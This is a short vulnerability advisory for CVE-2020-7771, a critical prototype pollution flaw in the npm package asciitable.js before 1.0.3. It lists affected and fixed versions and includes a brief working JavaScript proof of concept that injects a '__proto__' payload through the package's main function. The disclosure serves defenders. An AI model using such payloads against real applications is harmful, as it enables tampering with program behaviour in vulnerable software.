NetSight
critical9.8

CVE-2020-7771

Prototype Pollution in asciitable.js

Impact

The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function. ### PoC ```js var a = require("asciitable.js"); var b = JSON.parse('{"__proto__":{"test":123}}'); a({},b); console.log({}.test) ```

Affected packages

EcosystemPackageAffectedFixed in
npmasciitable.js< 1.0.31.0.3

Affected products

VendorProductAffected versions
Asciitable.Js ProjectAsciitable.Js
before 1.0.3

Weakness classification

References